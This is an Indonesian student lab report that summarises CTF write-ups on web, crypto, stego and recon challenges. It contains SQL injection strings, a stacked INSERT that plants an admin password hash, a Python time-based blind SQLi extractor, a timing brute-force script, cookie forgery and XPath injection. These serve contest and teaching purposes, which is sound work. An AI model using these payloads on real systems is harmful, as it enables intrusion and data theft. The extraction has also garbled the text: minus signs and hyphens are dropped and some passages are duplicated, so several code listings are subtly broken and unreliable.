TUGAS AKHIR JARINGAN KOMPUTER 100 SOAL C
===
LAPORAN TUGAS AKHIR PRAKTIKUM JARINGAN KOMPUTER “RANGKUMAN WRITE UP CTF TIME”
Disusun untuk Memenuhi Mata Kuliah Praktikum Jaringan Komputer yang Dibimbing oleh Bapak Irawan Dwi Wahyono, S.T., M.Kom
Disusun Oleh:
Katya Lindi Chandrika
140535605307
Ni’matul Rochmaniyah
140535606481
UNIVERSITAS NEGERI MALANG FAKULTAS TEKNIK JURUSAN TEKNIK ELEKTRO PROGRAM STUDI TEKNIK INFORMATIKA November 2016
DEF CON CTF Qualifier 2013 - 3dub 1
source: http://blogs.univ-poitiers.fr/e-laize/2013/06/17/dc21_3dub_1/ 01
URL: http://badmedicine.shallweplayaga.me:8042
Ketika text field username diberi input phoenix maka halaman web akan menampilkan pesan success! logged in as phoenix the key is only for the admin
Ketika text field username diberi input admin maka halaman web menampilkan pesan admin login disabled
Langkah pertama dilakukan dengan menginspeksi header HTTP
POST /login HTTP/1.1 Host: badmedicine.shallweplayaga.me ContentType: application/xwwwformurlencoded ContentLength: 12
username=CTF HTTP/1.1 303 See Other Date: Mon, 17 Jun 2013 13:44:10 GMT Location: /welcome SetCookie: username=2bf80e TransferEncoding: chunked ContentType: text/plain; charset=utf8
Direktori /login sepertinya mengenkripsi username lalu redirect pada /welcome Jika username adalah “admin”, maka cookie tidak diset
Langkah kedua melakukan percobaan untuk menebak skema enkripsi pada cookie dengan cara memasukkan berbagai username sebagai berikut
09 c8 29 94 af admaa
09 cd 29 94 af
adaaa
09 c8 25 9c af admin0
09 c8 25 94 af
admia
09 c8 25 9c a0 1e admin1
09 c8 25 9c a0 1f
Sehingga didapatkan hasil bahwa tiap karakter username dienkripsi berdasarkan tempatnya dan nilai cookie menghasilkan kode hexadesimal. Baris terakhir pada tabel menunjukkan bahwa nilai cookie dari admin seharusnya adalah 09c8259ca0. Selanjutnya memanggil halaman /welcome menggunakan nilai cookie ini
GET /welcome HTTP/1.1 Host: badmedicine.shallweplayaga.me Cookie: username=09c8259ca0 HTTP/1.1 200 OK Date: Mon, 17 Jun 2013 14:21:55 GMT TransferEncoding: chunked ContentType: text/html; charset=utf8
f4 <!DOCTYPE html> <html>
<head> <title>badmedicine</title> </head> <body>
<h1>badmedicine</h1> <h2>success!</h2> <p>logged in as admin</p> <p>The key is: who wants oatmeal raisin anyways twumpAdby
</p> </body> </html>
Sehingga didapatkan key: who wants oatmeal raisin anyways twumpAdby
DEF CON CTF Qualifier 2013 - 3dub 2
source: http://www.blue-lotus.net/def-con-ctf-qualifier-2013-3dub-2-writeup/ 02
URL: http://babysfirst.shallweplayaga.me:8041/
Awalnya login menggunakan username: admin' or '1'='1 password: admin' or '1'='1
Berhasil login namun sebagai root namun halaman web tidak menampilkan apa-apa. Melihat dari header, problem ini sepertinya adalah SQLi problem
Dengan query ini a' UNION ALL SELECT sqlite_version()
Dapat dilihat bahwa angka yang merepresentasikan database dibalik halaman web adalah sqlite.
Sehingga masukkan query berikut a' UNION ALL SELECT name from sqlite_master
Halaman web akan menampilkan babysfirst success! logged in as keys
Selanjutnya untuk mendapatkan key gunakan query berikut a' UNION ALL SELECT * from keys
Sehingga didapatkan key: literally online lolling on line WucGesJi
Mozilla CTF 2012 - Spark – Underwater Camouflage
source: http://blog.squareroots.de/en/2012/01/mozillactf-write-up-underwater-
camouflage-250/
Salah satu challenge pada MozillaCTF adalah untuk menentukan bagaimana Password Recovery Token digenerate.
“There’s something fishy (mencurigakan) about the generation of recovery token. Find out how to generate them for other accounts!”
Token dapat dilihat langsung setelah logging in dan melihat detail user. Untuk mengumpulkan informasi bagaimana algoritma generate ini, dibuatlah tiga akun dan melihat perbedaan dari tiap token yang dihasilkan.
sqrts1;sqrts@mailinator.com;NR0TE0lgSiwIAhBOEhEOUk0RCgwHBAARAGAFCA0JSQcPVB8eTwoBTQAYFRwHYUo= sqrts2;sqrts1@mailinator.com;NR0TE0kRZyAABxVJHQQVTxFcBg4ZBgMXB1NZKQkESQUHThEYDhtAQxwEFBkGVVQ= sqrts3;sqrts2@mailinator.com;NR0TE0kSZyAABxVJHQQVTxFcBg4ZBgMXB1NaKQkESQUHThEYDhtAQxwEFBkGVVQ=
Dapat dilihat perbedaan yang jelas antara user pertama dan user kedua, namun hanya sedikit perbedaan dari user kedua dan ketiga. Melihat dari token yang telah tergenerate, ada perbedaan pada byte ke-8. Perbedaan diantara sqrts1 dan sqrts2 sangat jelas, diantara sqrts2 dan sqrts3 hanya satu bit. Karena perbedaan inilah, dipercayai bahwa alamat e-mail digunakan sebagai input untuk mengenerate token dan bukan karena username.
Diketahui bahwa base64 menyandikan 6 bytes sedangkan base256 menyandikan 8 bytes. Sehingga digunakanlah 8 bytes pertama dari token dan 6 bytes dari alamat e-mail. Melihat dari hasil, dimungkinkan bahwa dilakukan enkripsi XOR.
Sehingga dilakukanlah pengecekan XOR print xor_crypt_string(base64.b64decode("NR0TE0kS"), "sqrts2")
Yang menghasilkan Flag:
Hasil menunjukkan bahwa token terbentuk dari enkripsi XOR. Tetapi, alamat e-mail yang telah didaftarkan sebelumnya hanya memiliki 21 karakter, padahal base64 menghasilkan token sepanjang
47 karakter. Sehingga dibuatlah alamat email yang panjang, kemudian mendaftarkan e-mail tersebut. wearelookingforreallylongxorkeysinthischallenge@mailinator.com
Alamat email diatas menghasilkan token MQkAFV9MSCIKBxdHFQoTUgYTCQ0NGR0LFFgHGw8AWRoHTgQECBoNSBIFCw0aRkI=
Ambil 47 karakter pertama dari alamat e-mail dan token base64 yang telah disandikan dan melakukan operasi XOR akan menghasilkan flag Many sea creatures hide in plain sight!
VOLGA CTF 2014 Quals - Web 100
source: http://ctfwriteups.blogspot.co.id/2014/03/volga-ctf-2014-quals-web-100.html 04
URL: http://tasks.2014.volgactf.ru:28101/
Langkah pertama dilakukan aksi login
Melihat dari hasil, problem ini berkaitan tentang php session id. Terdapat sebuah komentar pada source page html yang mengatakan help.php, sehingga dilakukan load halaman tersebut
Berikut ini adalah hasil yang ditampilkan browser. Pada text field link terdapat link dengan variabel PHPSESSID.
Selanjutnya meload alamat tersebut ketika logged in dan menekan tombol submit. Dengan mereload halaman logged in tampil flag Easy_task_on_Session_Fixation
ASIS Quals 2014 – Crypto Random Image
source: http://blogs.univ-poitiers.fr/e-laize/2014/05/10/asis-2014-randomimage/
URL: http://asis-ctf.ir/challenges/ Folder memiliki 2 file $ tar xvfJ crypto_150_8f3fd5d2bacd408904b8406c19183c23
x color_crypto.py x enc.png
color_crypto.py adalah source code algoritma enkrpsi file PNG menggunakan bahasa pemrograman Python.
#!/usr/bin/env python
import Image import random
def get_color(x, y, r): n = (pow(x, 3) + pow(y, 3)) ^ r return (n ^ ((n >> 8) << 8 ))
flag_img = Image.open("flag.png") im = flag_img.load() r = random.randint(1, pow(2, 256)) print flag_img.size
enc_img = Image.new(flag_img.mode, flag_img.size) enpix = enc_img.load()
for x in range(flag_img.size[0]): for y in range(flag_img.size[1]): t = random.randint(1, pow(2, 256)) % 250 enpix[x,y] = t
for x in range(flag_img.size[0]): for y in range(flag_img.size[1]): if im[x,y] < 250 :
s = get_color(x, y, r) enpix[x,y] = s
enc_img.save('enc' + '.png')
enc.png adalah gambar grayscale 8-bit
Analisis algoritma Skema algoritma bergantung pada grayscale threshold. Pada dasarnya dalam gambar original:
IF level pixel gray >= 250 THEN dianggap sebagai pixel terang IF level pixel gray < 250 THEN dianggap sebagai pixel gelap
Statement tersebut menyandikan gambar Pixel terang akan disubstitusikan dengan nilai random random.randint(1, pow(2, 256)) % 250 Pixel gelap akan dihitung menggunakan fungsi get_color(x, y, r) , dari perhitungan
koordinat dan nilai besar konstan r = random.randint(1, pow(2, 256)) : koordinat dan nilai besar konstan r = random.randint(1, pow(2, 256)) :
Kelemahan Kelemahan dari perhitungan di atas adalah tiap pixel dengan koordinat x dan y dikenal sebagai nilai konstan r.
1. Tiap nilai pixel dari gambar yang telah disandikan di XOR dengan nilai ( x 3 +y 3 )
2. Sehingga byte yang kurang penting dari r adalah nilai yang paling sering terjadi
3. Akhirnya Jika sebuah pixel dari gambar yang telah disandikan XOR ( x 3 +y 3 ) = nilai byte yang kurang penting dari r, maka pixel dari gambar original adalah gelap atau hitam Atau pixel dari gambar original adalah terang atau putih Mungkin ada beberapa pixel yang dianggap gelak ketika mereka cerah karena nilai random
namun secara statistik mereka akan sedikit
Dekoder menggunakan bahasa pemrograman Python
import Image
enc_img = Image.open('enc.png') enc_pix = enc_img.load()
# 1. XOR all pixel values with corresponding (x**3 + y**3) pow_pix = [(enc_pix[x,y] ^ (x**3 + y**3)) & 0xff
for x in range(enc_img.size[0]) for y in range(enc_img.size[1])]
# 2. r_LSbyte = most frequently occurring byte r_LSbyte = max([b for b in range(0x100)], key = pow_pix.count)
flag_img = Image.new(enc_img.mode, enc_img.size) flag_pix = flag_img.load()
for x in range(enc_img.size[0]): for y in range(enc_img.size[1]): if ((enc_pix[x, y] ^ (x**3 + y**3)) & 0xff == r_LSbyte): flag_pix[x, y] = 0
# original pixel was dark
else: flag_pix[x, y] = 255
# original pixel was bright
flag_img.save('flag.png')
Setelah program dijalankan dan mengakses gabar enc.png maka hasil flag yang didapat dari PNG tersebut (dengan byte kurang dari r = 0x3d) adalah ASIS_af4e8dcbbcdcef44fd3ecdbc6e9695d4
ASIS Quals 2014 – Web Hidden Flag
source: http://blogs.univ-poitiers.fr/e-laize/2014/05/11/asis-2014-hiddenflag/ 06
URL: http://asis-ctf.ir/challenges/ Untuk menyelesaikan problem ini, diharuskan menemukan flag tersembuyi. Pada dasarnya, untuk
mencari flag harus melihat secara detail pada halaman website. Satu cara yang bagus dan mudah adalah dump paket jaringan dari halaman web dan mencari beberapa kata pilihan. Untuk menggunakan cara ini, tentu saja harus menonaktifkan pengkodeab gzip/deflate pada browser untuk melihat html polos. Kemudian dengan menggunakan tcpdump sederhana dalam bentuk ASCII dan grep akan menampilkan flag sementara
$ tcpdump A s 16384 host asisctf.ir | grep i 'asis_\|flag'
... XFlag: ASIS_b6b?244608c2?c2e869cb56?67b64?b1 ...
Terlihat seperti flag yang valid, diambil dari header respon HTTP dari website CTF. Setelah itu mencari kemungkinan dari tanda ?
Menemukan flag yang tepat Submission board ASIS memiliki fungsionalitas yang menarik, yang memeriksa flag sebelum
mengirimnya pada website asis-ctf.ir
<script src="/static/js/sha256.js"></script> <script> $(document).on('hidden.bs.modal', function (e) {
e.preventDefault(); $(e.target).removeData('bs.modal');
}); var i=0;
var result=['Please try again!', 'Try harder!', 'Your answer is not correct!', 'The submitted flag is not correct!', 'False flag!', 'Wrong answer!', 'Sorry!']; var final_result="Do you want to hack me?";
$('#flag_submission').submit(function(e){ e.preventDefault(); var shaObj = new jsSHA(document.forms["flag_submission"]["id_flag"].value, "TEXT"); var hash = shaObj.getHash("SHA256", "HEX"); var shaObj2 = new jsSHA(hash, "TEXT"); var hash2 = shaObj2.getHash("SHA256", "HEX"); if (document.forms["flag_submission"]["check"].value !== hash2) {
if ($("#id_flag").next().length == 0){ $('<div class="alert alertdanger" id="answer" ></div>').insertAfter('#id_flag'); } if (i++>6){
$('#answer').removeClass('alertdanger').addClass('alert'); $('#answer').text(final_result);
} else $('#answer').text(result[Math.floor(Math.random() * 7)]); return false;
$.ajax({ type: "POST", url: "/challenges/22/", data: $('form').serialize(), success: function(msg){
$("#ModalContainer").html(msg)
$("#modaldialog").modal('hide'); }, error: function(){
alert("failure"); } }); }); </script>
Sehingga flag yang telah dikirim dilakukan hash sebanyak dua kali menggunakan SHA-256 dan hasilnya dibandingkan dengan form check, dimana pada problem ini adalah:
<input id="id_check" name="check" value="61e18627ead3caaf56c89140e11533491ea3cc7b405d3e4d95bba333860c0acc" type="hidden">
Jadi, dilakukanlah bruteforce untuk 4 karakter yang belum diketahui dengan menggunakan script di bawah ini
import string from hashlib import sha256
check = '61e18627ead3caaf56c89140e11533491ea3cc7b405d3e4d95bba333860c0acc' for h1 in string.hexdigits:
for h2 in string.hexdigits: for h3 in string.hexdigits: for h4 in string.hexdigits: FLAG = 'ASIS_b6b'+h1+'244608c2'+h2+'c2e869cb56'+h3+'67b64'+h4+'b1' if sha256(sha256(FLAG).hexdigest()).hexdigest() == check:
print 'Found flag:', FLAG break
Sehingga ditemukan flag ASIS_b6b9244608c2fc2e869cb56067b64bb1
ASIS 2014 final - PTOT
source: http://blogs.univ-poitiers.fr/e-laize/2014/10/13/asis-2014-ptot/ 07
URL: https://asis-ctf.ir/tasks/PTOT_1d23c8694e5cf6727b9ed21285a0d61f
Deskripsi Temukan flag pada image (PTOT_1d23c8694e5cf6727b9ed21285a0d61f) Hal pertama yang harus dilakukan adalah menemukan gambar apakah yang diberikan
Dengan menggunakan google image akan ditemukan beberapa link menarik seperti ini sebagai contoh http://www.voiceonapage.com/ProjectsTypography/Typeface%20Poster/PTOT.pdf
Jadi, PTOT adalah singkatan dari Periodic Table of Typefaces. Dapat diperhatikan pada gambar beberapa font tidak pada tempatnya, dan beberapa muncul 2 atau 3 kali. Sehingga dibuatlah tabel seperti berikut agar mengetahui perbedaan (original rank --> crypto rank | crypto symbol)
Ada 45 perbedaan dimana satu bit lebih panjang dari flag ‘ASIS_md5()’ biasanya memiliki panjang
37 karakter. Setelah beberapa kali percobaan, dapat dilihat atau perhatikan bahwa jika kita menggabungkan semua nomor kemudian mengkonversinya dengan nilai hexa dan menyandikan 37 karakter. Setelah beberapa kali percobaan, dapat dilihat atau perhatikan bahwa jika kita menggabungkan semua nomor kemudian mengkonversinya dengan nilai hexa dan menyandikan
H=format(324878083202626694117443567177148322190861294622618211941523751741739958462509854242915, 'x') print H.decode("hex")
>>> ?;??d?hI<q"Cv?f?%?,??/¦38???ca808c
Setelah itu mengira-ngira dimanakah letak byte yang hilang, dapat diperhatikan pada tabel perbedaan dimana terdapat tiga satu-digit nomor. Dengan menambahkan 0 pada angka-angka berikut (kecuali yang pertama untuk menghindari konversi oktal pada bahasa pemrograman python), nilai hex akan memberikan string dengan panjang 37 karakter yang merupakan final flag.
H=format(3248780832026260694117443567177148322019086129462261821194152375174173995846250985424291 5, 'x') print H.decode("hex")
>>> ASIS_c9a1cd21db5d38923562fccabbca808c
Final flag ASIS_c9a1cd21db5d38923562fccabbca808c
BackdoorCTF 2014 - Web 10
source: http://ctfwriteups.blogspot.co.id/2014/03/backdoor-ctf-2014-web-10.html 08
Pertanyaan: H4x0r adalah seseorang yang penasaran. Ia biasanya melihat secara detail. H4x0r berhasil
menemukan flag pada tingkat ini. Bisakah kamu? Melihat pada header HTTP maka akan terlihat flag
Flag: 28b3324be8b003ee7e1d0d153fad3c32
ASIS CTF 2014 RECON - Fact or Real
source: http://ctfwriteups.blogspot.co.id/2014/10/asis-ctf-2014-recon-fact-or-real.html 09
Hal pertama yang dilakukan adalah mengecek twitter handle dari ASIS kemudian ditemukan bahwa biasanya orang yang bernama factoreal adalah orang utama pada hosting asis-ctf. Ketika dilakukan pengecekan pada foto twitternya, terdapat clue atau hint “fact or real” dan motto pada gambar: “NO+$=YES”
Flag adalah ASIS_md5(NO+$=YES) Final flag = ASIS_d25b9c2f1c29e49e81e8fdfaf4d16fc6
ASIS CTF 2013 - login
source: http://www.blue-lotus.net/asis-ctf-finals-2013-login/ 10
URL: http://blog.deadcat.me/writeup/2013/09/01/asis-ctf-finals-2013-login/ Deskripsi: Description
Hint: $2y$10$HXDsGCYFW5ajuzYO5qcyfOygl5r27BQB5DkL5ZfgoTfPSRMhlUAnG
Setelah membuka URL di atas ditampilkan sebuah form login. Ketika membicarakan form login maka hal pertama yang ada pada benak adalah SQL injection.
Setelah beberapa kali testing, akhirnya ditemukan injection time-based pada field username menggunakan
1' AND BENCHMARK(5000000,MD5(0x123)) AND ''='
Hal ini dapat diselesaikan dengan menggunakan sqlmap namun cara ini terlalu lama dan menampilkan beberapa kesalahan.
Dengan menggunakan script bahasa pemrograan Python untuk menyelesaikan problem, lalu menemukan beberapa informasi yang berharga. Ada tiga database yaitu
information_schema sqli_db test
Ada database yang sangat mencurigakan yaitu sqli_db Didalam database tersebut hanya terdapat sebuah tabel dengan nama users Tabel users memiliki empat field yaitu user_id
user_name user_email user_password_hash
Awalnya, dilakukan pengambilan data dari tabel tersebut namun tidak ditampilkan apa-apa, namun beberapa waktu kemudian didapatkan sebuah string dari field user_password_hash
$2y$10$gyI0vxnE3ZncmdLNGVmwTew/aPwBZPY4cEMCRENAjN4?0l8iu9O5R6iW
Dilakukan pencarian “$2y$10” dengan menggunakan google, dapat diketahui bahwa string tersebut adalah head dari metode enkripsi blowfish hash PHP, namun kelihatannya tidak bisa mendapatkan nilai asli dari string tersebut.
Hint: $2y$10$HXDsGCYFW5ajuzYO5qcyfOygl5r27BQB5DkL5ZfgoTfPSRMhlUAnG
Pada waktu itu, admin memberikan hint pada problem ini ';insert into users values (333,'hqd','1','1@1.com');select '
Pada waktu yang sama, tiba-tiba isi dari tabel user menghilang. Karena hal tersebut maka dilakukan percobaan menggunakan query INSERT
';insert into users values (333,'hqd','1','1@1.com');select '
Dan akhirnya berhasil. Dengan sangat mudah, lakukan penambahan data hash dari password. Ada script PHP yang dapat melakukan hal ini
';insert into users values (333,'hqd','$2y$10$YTNlM2RiNmFiODgzZGM2YuYqP7NHnuZ31TyucetPJkODqia/XH5KC','1@1. com');select '
#this is the blowfish hash value of 'admin'
Lalu kembali login menggunakan username: hqd dan password: admin kemudian muncul flag
ASIS_9689926853009CAAD5BF824863077DC9
Source code yang digunakan f.py
from httplib import HTTPConnection
HTTPConnection._http_vsn_str = 'HTTP/1.0'
def post_payload( payload ): conn = HTTPConnection( '78.38.193.187' ) conn.putrequest( 'POST', '/', skip_accept_encoding=True, skip_host=True ) conn.putheader( 'ContentType', 'application/xwwwformurlencoded' ) conn.putheader( 'ContentLength', str(len(payload)) ) conn.endheaders( message_body=payload ) resp = conn.getresponse() resp.read()
from urllib import urlencode from time import time
def get_bool( expression ): start = time() post_payload( urlencode( dict(
login = '', user_password = ' ', user_name = "'OR if(%s,benchmark(1500000,md5(0)),0) AND''='" % expression,
))) end = time() print 'Time:', endstart return endstart>0.95
def get_bit( expression ): return '1' if get_bool( expression ) else '0'
from itertools import count
def get_string( expression ): result = '' for i in count( start=1 ):
char = '' for j in range(8)[::1]:
print 'Byte %d, Bit %d,' % (i,j), bit = get_bit( 'ascii(substr(%s,%d,1))>>%d&1' % ( expression, i, j ) ) print bit char += bit
char = int( char, 2 ) if char == 0: break result += chr(char)
return result
# def get_query( expression ):
# print get_string( 'database()' ) print get_string( '(SELECT IFNULL(CAST(table_name AS CHAR) ,0x20) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=0x73716c695f6462 LIMIT 0,1)' ) # print get_string( '(SELECT IFNULL(CAST(table_name AS CHAR) ,0x20) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=\'information_shema\' LIMIT 0,1)' ) # print get_string( '(SELECT IFNULL(CAST(COLUMN_NAME AS CHAR) ,0x20) FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=\'users\' LIMIT 5,1)' ) # print get_string( '(SELECT CAST(COUNT(*) AS CHAR) FROM users)' ) # print get_string( '@@datadir' ) # print get_string( 'user()' ) # print get_string( 'version()' )
ASIS Quals 2014 - Image
source: http://blog.rentjong.net/2014/05/asis-quals-2014-image-trivia-50.html 11
URL: http://asis-ctf.ir/tasks/joy/trivia_50_88da3c57a7b4489036943d35d551cab2 Challenge ini sebenarnya cukup mudah dan terlihat dari poin yang diberikan (50) :), hal yang
membuat sedikit frustasi adalah karena flag yang di dapatkan tetap harus di "bruteforce" untuk mendapatkan flag yang tepat, dan ternyata ada hint: yang harus menghubungi panitia terkait flag yang tepat.
Seluruh challenge umumnya merupakan file yang di kompresi 2 kali 7z (xz) dan tar, kemudian untuk challenge ini didapatkan file sbb:
Bagi para gamer atau yang merupakan penggemar nintendo pasti akan langsung mengetahui bahwa ini adalah file game untuk nintendo, dan untuk OSX terdapat free emulator yang dapat di pergunakan (salah satunya Nestopia)
Untuk mendapatkan flag-pun kita hanya perlu memainkan game tersebut pada mode "flag" dan apabila selesai stage 1 akan didapatkan flag
Dan yang membuat cukup menghabiskan waktu adalah bahwa flag = 8BIT_RULEZ dan bukan 8 BIT RULES.
ASIS CTF Quals 2014 - Spy Paper
source: http://quangntenemy.blogspot.co.id/2014/05/asis-ctf-quals-2014.html 12
URL: http://asis-ctf.ir/tasks/stego/steg_100_282d645e3be22eda015aeb255a0b86f5 Deskripsi Download file pada URL di atas kemudian kalkulasi hasil dengan metode MD5 dan
menambahkannya setelah “ASIS_”
Gambar yang didapatkan dari download sangat besar dan mudah untuk melihat setia detail. Namun sayangnya, ditemukan keanehan dan keganjalan dalam gambar biru ini dan titik-titik yang mengingatkan pada punched tape dimana sangat dekat dengan solusi akhir. Dan akhirnya dapat ditemukan parity bits dan decrypt pada bagian kedua, namun sayangnya tidak dapat ditemukan hal yang penting dan berguna pada bagian pertama.
Setelah itu juga dapat diketahui bahwa gambar ini bisa saja printer steganography dan bagian pertama bisa jadi tanggal dan waktu. Dengan itu didapatkan dekripsi flag: 9/6/19 13:22:44 E4sy_0n3.
ASIS CTF Quals 2014 - White noise
source: http://quangntenemy.blogspot.co.id/2014/05/asis-ctf-quals-2014.html 13
URL: http://asis-ctf.ir/tasks/stego/steg_250_8be7a320b7cbc2696f352cb42e717a0b
Analisa histogram menunjukkan bahwa nilai pada channel green dan blue terbagi rata, dan alasan dibalik semua ini adalah digukan sebagi koordinat untuk mengatur ulang pixel.
Namun, red channel hanya memiliki 1 nilai yaitu 126 sehingga akan sia-sia jika mengatur ulang seluruh gambar. Akan didapatkan gambar persegi merah saja sehingga dilakukan pengaturan dengan menggunakan 30 baris pertama dari gambar untuk penataan ulang dan akhirnya akan didapatkan flag
Flag: ASIS_329afbd5ba6fc8b1dfl5e886adbdcc25
BackdoorCTF 2014 - Web 30
14
source: http://singularityctf.blogspot.co.id/2014/03/backdoorctf-2014-writeup-web-
30-eng.html
URL: http://backdoor.cognizance.org.in/problems/web30/ Langkah pertama yang dilakukan adalah masuk pada secure zone http://backdoor.cognizance.org.in/problems/web30/auth.php ?
Dengan begitu server akan merespon “Sorry, you will never get a flag in your life :P Not authorized”
Selanjutnya buka get-request menggunakan development tools pada browser. Sebagai catatan, cookie auth = false telah diset.
Ubah nilai menjadi true kemudia buka halaman secure zone dan akhirnya akan didapatkan flag:
aeba37a3aaffc93567a61d9a67466fdf
BackdoorCTF 2014 - Web 100
source: http://blog.semekh.ir/post/backdoorCTF-2014-web100-1-writeup 15
Tentu saja web server menampilkan file gambar untuk menilainya. Setelah itu melihat request dengan cara mengetikkan
netcat lkv 54321 Dan submit link image
http://YOURIP:54321/ Sehingga akan mendapatkan tulisan seperti berikut listening on [any] 54321 ...
connect to [YOURIP] from backdoor.cognizance.org.in [128.199.215.224] 46845 GET / HTTP/1.1 Host: YOURIP:54321 Accept: */* X-Referrer: 92702a9381515494689f5d14f85a83b7.php
Ada sesuatu yang menarik yaitu Referrer. Selanjutnya dicoba untuk mengakses url tersebut yang berisi pesan
By the way, the flag is f556b9a48a3ee914f291f9b98645cb02 Pada komentar HTML
Sehingga flag f556b9a48a3ee914f291f9b98645cb02
BackdoorCTF 2014 - Web100 UnderscoreJS
source: http://singularityctf.blogspot.co.id/2014/03/backdoorctf-2014-writeup-web-
100-2-eng.html
URL: http://backdoor.cognizance.org.in/problems/web100-2/ Format flag: md5_string form menggunakan JSON, template. Diketahui bahwa underscore.js dapat digunakan
sebagai template library. Kode juga telah diberikan. Pertama-tama, buka kode dan cari flag (dapat ditemukan di app.js) if(!process.env.FLAG)
{ console.error("No flag in environment"); process.exit(1); }
Lalu tampilkan hasilnya. Kemudian isi form yang ada di bawah (data = JSON valid, template = single statement seperti di bawah ini)
Tekan tombol Convert kemudian flag akan didapat Flag: 16367694ede9faef0efec36845e18ceb
BackdoorCTF 2014 - Web 200
source: https://scoding.de/backdoorctf-2014-writeup 17
URL: http://backdoor.cognizance.org.in/problems/web200/submit.php
Problem: H4x0r baru-baru ini membuat server baru. Karena malas, dia tidak mensetting servernya dengan baik dan menemukan bahwa severnya agak lambat dan semakin lambat ketika menjalankan query yang panjang. Kepala di perusahaan mencoba untuk mengakses servernya Dia berpikir bahwa server tidak dapat dicrack. Buktikan bahwa ia salah. Format flag = md5_string
Problem ini mencari password untuk halaman login. Di dalam source code, teradapat useleep(20000) dimana dieksekusi ketika huruf yang telah dicek benar. Untuk melakukan bruteforce pada password, ditulislah script yang melemparkan exception jika waktu yang diberikan terlampaui.
#!/usr/bin/env python import urllib2 import string
alpha=string.letters+string.digits url= "http://backdoor.cognizance.org.in/problems/web200/submit.php?key="
time_offset= 0.4 password= ""
for
i in range ( 5 ):
t=time_offset+(i* 0.2 )
for
a in alpha:
test_key=password+a*( 5 - len (password))
try : r=urllib2.urlopen(url+test_key, timeout=t) except :
if len (password)<=i: password+=a print password break
r=urllib2.urlopen(url+password) print r.read()
Dengan cara ini didapatkan password huruf demi huruf
./brute.py Z Z9 Z9A Z9A9 Z9A9x
Dengan passwo ZX9A9x didapatkan flag ee7528e19f87ba00b4b4c721b646a8a2
BackdoorCTF 2014 - Web 250 Yaml
18
source: http://singularityctf.blogspot.co.id/2014/03/backdoorctf-2014-writeup-web-
250-eng.html
URL: http://backdoor.cognizance.org.in/problems/web250-1/ Format flag: md5_string Problem ini mirip dengan problem BackdoorCTF 2014 Web100-2 template library yang digunakan
adalah mustache. Data dan template disimpan pada satu field (data dimulai dan diakhiri dengan tanda --)
Format data adalah yaml, template library adalah mustache. Solusi yang sama {{process.env.FLAG}}, tidak dapat digunakan. Yaml menggunakan data type yang didefinisikan oleh user. Banyak parser yang mensupport type fungsi javascript.
Masukkan data seperti yang ada pada di bawah ini kemudian klik Convert
Flag: fb1f85e4f37eb3bf31141cb1dcce1caf
Sharif University CTF 2014 - Rolling hash
source: https://ctfcrew.org/writeup/73 19
Task:
flag="*********" def RabinKarpRollingHash( str, a, n ): result = 0 l = len(str) for i in range(0, l): result += ord(str[i]) * a ** (l i 1) % n print "result = ", result RabinKarpRollingHash(flag, 256, 10**30)
Output adalah 1317748575983887541099 Apa flagnya?
Solusi: Fungsi hash ini mengambil tiap karakter pada string yang telah diinput kemudian mengkonversinya kedalam tipe data int dan mengalikannya dengan pangkat dari a dan modulo n. Namun melihat dari hash ini
RabinKarpRollingHash(flag, 256, 10**30)
a = 256 dan itu berarti tiap perkalian yang dilakukan dengan a ekuivalen dengan simple left-shifting. Jika input string pendek maka tidak perlu dilakukan perkalian dengan modulo dan mencoba untuk merestore flag dengan menggunakan kode berikut ini
hashed_flag = 1317748575983887541099 result = "" while hashed_flag > 0:
byte = hashed_flag&0xff result += chr(byte) hashed_flag = hashed_flag byte hashed_flag = hashed_flag >> 8
print result[::1]
Flag: Good Luck
Pwnium CTF 2014 - XWebSite
source: https://ctftime.org/writeup/1160 20
Problem ini adalah kasus tentang injecting sebuah aplikasi web yang rentan. Bukan tentang MySQL melainkan XPATH.
Seseorang dapat melakukan login sebagai admin dengan menuliskan Username: ' or '1' = '1
Password: ' or '1' = '1 Dan kemudian pada field user tuliskan
' or '1' = '1 Dengan ini akan ditampilkan hasil beserta flag yaitu
Pwnium{cf921420dfd44ae4a68a492b3de852a3}
Pwnium CTF 2014 - Find the Owner
21
source: https://crazybulletctfwriteups.wordpress.com/2014/07/07/pwnium-ctf-2014-
find-the-owner/
File yang diberikan adalah file dalam format .exe. Admin berkata bahwa “This file harm to your computer”. Sehingga dapat dikatakan bahwa file ini berbahaya untuk komputer dalam arti lain file ini adalah malicious program atau malware. Untuk menyelesaikan problem ini maka digunakan bantuan tool untuk menganalisis apakah program tersebut memang benar malware atau tidak.
Berikut ini langkah-langkah untuk melakukan aktivitas crack:
1. Kunjungi alamat https://anubis.iseclab.org/ untuk online malware analysis tool
2. Kemudan upload file yang telah diberikan
3. Setelah dianalisis maka akan diberikan sebuah file traffic.pcap dan report
4. Observasi report aktivitas iexplore.exe
5. Mendapatkan IP dan alamat port iexplorer.exe – Network Activity From ANUBIS:1028 to 193.95.68.245:81
6. Pwnium{md5sum(ip:port} -> md5sum(193.95.68.245:81) Flag: Pwnium{8d4c5fcc05edb1fcad031f5e264a7358}
Pwnium CTF 2014 - So basic
source: https://crazybulletctfwriteups.wordpress.com/2014/07/07/pwnium-ctf-2014-
so-basic
Untuk menyelesaikan problem ini dibutuhkan waktu yang cukup lama dan agak sedikit sulit. Langkah-langkah untuk cracking:
1. Pertama extact Misc75.zip
2. Kemudian obeservasi 40 file yang didapat. Tiap file memiliki ukuran 2 bytes. Nama file ditulis dengan string yang telah disandikan menggunakan md5sums.
3. Setelah itu observasi karakter md5sums dan membandingkan nama file yang diberikan
1. Kemudian mengobservasi untuk angka (beberapa nama file sama dengan angka md5sum)
2. Percobaan observasi dilakukan dengan menggunakan angka 0-39.
3. Hitung angka tersebut dengan menggunakan md5sums
4. Lakukan pengecekan pada tiap nama file
5. Dan pada akhirnya didapatkan urutan dari nama file
